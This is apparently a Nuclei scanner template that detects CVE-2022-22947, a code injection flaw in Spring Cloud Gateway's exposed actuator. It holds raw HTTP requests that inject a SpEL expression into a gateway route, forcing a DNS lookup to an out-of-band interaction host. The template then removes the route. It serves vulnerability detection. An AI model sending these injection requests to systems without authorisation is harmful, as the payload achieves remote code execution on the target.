86 lines
2.5 KiB
YAML
86 lines
2.5 KiB
YAML
id: CVE-2022-22947
|
|
|
|
info:
|
|
name: Spring Cloud Gateway Code Injection
|
|
author: pdteam
|
|
severity: critical
|
|
description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
|
|
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
|
|
- https://github.com/wdahlenburg/spring-gateway-demo
|
|
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
|
|
- https://tanzu.vmware.com/security/cve-2022-22947
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2022-22947
|
|
cwe-id: CWE-94
|
|
tags: cve,cve2022,apache,spring,vmware,actuator,oast
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"predicates": [
|
|
{
|
|
"name": "Path",
|
|
"args": {
|
|
"_genkey_0": "/{{randstr}}/**"
|
|
}
|
|
}
|
|
],
|
|
"filters": [
|
|
{
|
|
"name": "RewritePath",
|
|
"args": {
|
|
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
|
|
"_genkey_1": "/${path}"
|
|
}
|
|
}
|
|
],
|
|
"uri": "{{RootURL}}",
|
|
"order": 0
|
|
}
|
|
|
|
- |
|
|
POST /actuator/gateway/refresh HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"predicate": "Paths: [/{{randstr}}], match trailing slash: true",
|
|
"route_id": "{{randstr}}",
|
|
"filters": [
|
|
"[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
|
|
],
|
|
"uri": "{{RootURL}}",
|
|
"order": 0
|
|
}
|
|
|
|
- |
|
|
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 201
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "/routes/{{randstr}}"
|
|
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
|
|
# Enhanced by mp on 2022/03/08
|